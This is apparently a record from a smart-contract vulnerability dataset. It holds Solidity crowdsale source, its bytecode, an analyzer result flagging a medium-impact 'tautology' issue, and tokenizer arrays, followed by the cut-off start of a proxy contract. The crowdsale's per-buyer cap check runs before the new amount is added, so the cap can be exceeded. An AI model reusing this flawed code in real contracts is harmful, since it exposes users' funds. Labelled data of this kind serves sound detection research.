{ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @title AllowanceCrowdsale * @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale. */ contract AllowanceCrowdsale is Crowdsale { using SafeMath for uint256; using SafeERC20 for IERC20; address private _tokenWallet; /** * @dev Constructor, takes token wallet address. * @param tokenWallet Address holding the tokens, which has approved allowance to the crowdsale. */ constructor (address tokenWallet) public { require(tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address"); _tokenWallet = tokenWallet; } /** * @return the address of the wallet that will hold the tokens. */ function tokenWallet() public view returns (address) { return _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return Math.min(token().balanceOf(_tokenWallet), token().allowance(_tokenWallet, address(this))); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(_msgSender()); } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @title PausableCrowdsale * @dev Extension of Crowdsale contract where purchases can be paused and unpaused by the pauser role. */ contract PausableCrowdsale is Crowdsale, Pausable { /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use super to concatenate validations. * Adds the validation that the crowdsale must not be paused. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount, uint256 tokens) internal view whenNotPaused { return super._preValidatePurchase(_beneficiary, _weiAmount, tokens); } } contract CapperRole is Context { using Roles for Roles.Role; event CapperAdded(address indexed account); event CapperRemoved(address indexed account); Roles.Role private _cappers; constructor () internal { _addCapper(_msgSender()); } modifier onlyCapper() { require(isCapper(_msgSender()), "CapperRole: caller does not have the Capper role"); _; } function isCapper(address account) public view returns (bool) { return _cappers.has(account); } function addCapper(address account) public onlyCapper { _addCapper(account); } function renounceCapper() public { _removeCapper(_msgSender()); } function _addCapper(address account) internal { _cappers.add(account); emit CapperAdded(account); } function _removeCapper(address account) internal { _cappers.remove(account); emit CapperRemoved(account); } } /** * @title IndividuallyCappedCrowdsale * @dev Crowdsale with per-beneficiary caps. */ contract IndividuallyCappedCrowdsale is Crowdsale, CapperRole { using SafeMath for uint256; mapping(address => uint256) private _contributions; mapping(address => uint256) private _caps; /** * @dev Sets a specific beneficiary's maximum contribution. * @param beneficiary Address to be capped * @param cap Wei limit for individual contribution */ function setCap(address beneficiary, uint256 cap) external onlyCapper { _caps[beneficiary] = cap; } /** * @dev Returns the cap of a specific beneficiary. * @param beneficiary Address whose cap is to be checked * @return Current cap for individual beneficiary */ function getCap(address beneficiary) public view returns (uint256) { return _caps[beneficiary]; } /** * @dev Returns the amount contributed so far by a specific beneficiary. * @param beneficiary Address of contributor * @return Beneficiary contribution so far */ function getContribution(address beneficiary) public view returns (uint256) { return _contributions[beneficiary]; } /** * @dev Extend parent behavior requiring purchase to respect the beneficiary's funding cap. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount, uint256 tokens) internal view { super._preValidatePurchase(beneficiary, weiAmount, tokens); // solhint-disable-next-line max-line-length require(_contributions[beneficiary] <= _caps[beneficiary], "IndividuallyCappedCrowdsale: beneficiary's cap exceeded"); } /** * @dev Extend parent behavior to update beneficiary contributions. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _updatePurchasingState(address beneficiary, uint256 weiAmount, uint256 tokens) internal { super._updatePurchasingState(beneficiary, weiAmount, tokens); _contributions[beneficiary] = _contributions[beneficiary].add(tokens); } } contract DistributionFREET2 is Crowdsale, AllowanceCrowdsale, PausableCrowdsale, IndividuallyCappedCrowdsale { constructor( uint256 rate, uint256 cap, address payable wallet, IERC20 token, address tokenWallet // <- new argument ) AllowanceCrowdsale(tokenWallet) // <- used here Crowdsale(rate, wallet, token) public { } }
0x6080604052600436106101145760003560e01c80636ef8d66d116100a0578063b3aefb7511610064578063b3aefb7514610348578063bf5839031461037b578063bff99c6c14610390578063ec8ac4d8146103a5578063fc0c546a146103cb57610114565b80636ef8d66d1461027f57806380ad2cf31461029457806382dc1ec4146102cd5780638456cb59146103005780638dfbcf361461031557610114565b80634042b66f116100e75780634042b66f146101dc57806346fbf68e146101f1578063521eb273146102245780635c975abb146102555780635d5576f81461026a57610114565b806321eff7fc146101265780632c4e722e1461016b57806339564561146101805780633f4ba83a146101c7575b61012461011f6103e0565b6103e4565b005b34801561013257600080fd5b506101596004803603602081101561014957600080fd5b50356001600160a01b0316610511565b60408051918252519081900360200190f35b34801561017757600080fd5b5061015961052c565b34801561018c57600080fd5b506101b3600480360360208110156101a357600080fd5b50356001600160a01b0316610532565b604080519115158252519081900360200190f35b3480156101d357600080fd5b5061012461054b565b3480156101e857600080fd5b50610159610634565b3480156101fd57600080fd5b506101b36004803603602081101561021457600080fd5b50356001600160a01b031661063a565b34801561023057600080fd5b5061023961064d565b604080516001600160a01b039092168252519081900360200190f35b34801561026157600080fd5b506101b361065c565b34801561027657600080fd5b50610124610665565b34801561028b57600080fd5b50610124610677565b3480156102a057600080fd5b50610124600480360360408110156102b757600080fd5b506001600160a01b038135169060200135610687565b3480156102d957600080fd5b50610124600480360360208110156102f057600080fd5b50356001600160a01b03166106ee565b34801561030c57600080fd5b50610124610740565b34801561032157600080fd5b506101246004803603602081101561033857600080fd5b50356001600160a01b0316610807565b34801561035457600080fd5b506101596004803603602081101561036b57600080fd5b50356001600160a01b0316610856565b34801561038757600080fd5b50610159610871565b34801561039c57600080fd5b5061023961098a565b610124600480360360208110156103bb57600080fd5b50356001600160a01b03166103e4565b3480156103d757600080fd5b50610239610999565b3390565b60005460ff1661043b576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6000805460ff191681553490610450826109ad565b683635c9adc5dea000000190506104688383836109c4565b60035461047b908363ffffffff610a3616565b6003556104888382610a97565b826001600160a01b031661049a6103e0565b6001600160a01b03167f6faf93231a456e552dbc9961f58d9713ee4f2e69d15f1975b050ef0911053a7b8484604051808381526020018281526020019250505060405180910390a36104ed838383610aa5565b6104f5610afa565b6104ff8383610aa1565b50506000805460ff1916600117905550565b6001600160a01b031660009081526008602052604090205490565b60025490565b600061054560078363ffffffff610b3316565b92915050565b61055b6105566103e0565b61063a565b6105965760405162461bcd60e51b81526004018080602001828103825260308152602001806111736030913960400191505060405180910390fd5b60065460ff166105e4576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6006805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6106176103e0565b604080516001600160a01b039092168252519081900360200190a1565b60035490565b600061054560058363ffffffff610b3316565b6001546001600160a01b031690565b60065460ff1690565b6106756106706103e0565b610b9a565b565b6106756106826103e0565b610be2565b6106976106926103e0565b610532565b6106d25760405162461bcd60e51b81526004018080602001828103825260308152602001806112926030913960400191505060405180910390fd5b6001600160a01b03909116600090815260096020526040902055565b6106f96105566103e0565b6107345760405162461bcd60e51b81526004018080602001828103825260308152602001806111736030913960400191505060405180910390fd5b61073d81610c2a565b50565b61074b6105566103e0565b6107865760405162461bcd60e51b81526004018080602001828103825260308152602001806111736030913960400191505060405180910390fd5b60065460ff16156107d1576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6006805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586106176103e0565b6108126106926103e0565b61084d5760405162461bcd60e51b81526004018080602001828103825260308152602001806112926030913960400191505060405180910390fd5b61073d81610c72565b6001600160a01b031660009081526009602052604090205490565b600061098561087e610999565b60048054604080516370a0823160e01b81526001600160a01b0392831693810193909352519216916370a0823191602480820192602092909190829003018186803b1580156108cc57600080fd5b505afa1580156108e0573d6000803e3d6000fd5b505050506040513d60208110156108f657600080fd5b5051610900610999565b6004805460408051636eb1769f60e11b81526001600160a01b03928316938101939093523060248401525192169163dd62ed3e91604480820192602092909190829003018186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d602081101561097e57600080fd5b5051610cba565b905090565b6004546001600160a01b031690565b60005461010090046001600160a01b031690565b600061054560025483610cd090919063ffffffff16565b6109cf838383610d29565b6001600160a01b0383166000908152600960209081526040808320546008909252909120541115610a315760405162461bcd60e51b81526004018080602001828103825260378152602001806112316037913960400191505060405180910390fd5b505050565b600082820183811015610a90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b610aa18282610d7f565b5050565b610ab0838383610a31565b6001600160a01b038316600090815260086020526040902054610ad9908263ffffffff610a3616565b6001600160a01b039093166000908152600860205260409020929092555050565b6001546040516001600160a01b03909116903480156108fc02916000818181858888f1935050505015801561073d573d6000803e3d6000fd5b60006001600160a01b038216610b7a5760405162461bcd60e51b81526004018080602001828103825260228152602001806111e56022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b610bab60078263ffffffff610db016565b6040516001600160a01b038216907f427400d279c506df610224b22ecce89b693fc1865864113f21c8d19c1f0c2a3b90600090a250565b610bf360058263ffffffff610db016565b6040516001600160a01b038216907fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e90600090a250565b610c3b60058263ffffffff610e1716565b6040516001600160a01b038216907f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f890600090a250565b610c8360078263ffffffff610e1716565b6040516001600160a01b038216907fa7555c95b69d4f5cc847881feb4ab2883a1921319e34fa2043747b793d65b36e90600090a250565b6000818310610cc95781610a90565b5090919050565b600082610cdf57506000610545565b82820282848281610cec57fe5b0414610a905760405162461bcd60e51b81526004018080602001828103825260218152602001806111c46021913960400191505060405180910390fd5b60065460ff1615610d74576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b610a31838383610e98565b600454610aa1906001600160a01b03168383610d99610999565b6001600160a01b031692919063ffffffff610f1e16565b610dba8282610b33565b610df55760405162461bcd60e51b81526004018080602001828103825260218152602001806111a36021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b610e218282610b33565b15610e73576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b6001600160a01b038316610edd5760405162461bcd60e51b815260040180806020018281038252602a815260200180611207602a913960400191505060405180910390fd5b80610a31576040805162461bcd60e51b815260206004820152600c60248201526b74657374207761726e696e6760a01b604482015290519081900360640190fd5b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610f78908590610f7e565b50505050565b610f90826001600160a01b0316611136565b610fe1576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061101f5780518252601f199092019160209182019101611000565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611081576040519150601f19603f3d011682016040523d82523d6000602084013e611086565b606091505b5091509150816110dd576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610f78578080602001905160208110156110f957600080fd5b5051610f785760405162461bcd60e51b815260040180806020018281038252602a815260200180611268602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061116a57508115155b94935050505056fe506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77526f6c65733a206163636f756e7420697320746865207a65726f206164647265737343726f776473616c653a2062656e656669636961727920697320746865207a65726f2061646472657373496e646976696475616c6c7943617070656443726f776473616c653a2062656e65666963696172792773206361702065786365656465645361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564436170706572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652043617070657220726f6c65a265627a7a723158200bda581b9756c940b3f0e2d4da7a44f0cec83fb3c1fadeb342c527f74e2ff88e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 15136, 2063, 2475, 2094, 2549, 2050, 22022, 7011, 2683, 2683, 2620, 2487, 2278, 26187, 2575, 2278, 26976, 2575, 2683, 2549, 2094, 14142, 2487, 2050, 23777, 15878, 9024, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,639
0x971abdc47483b49fdb24d8de3efce9769aa933b0
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract DolceGabbana { //DolceGabbana bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for 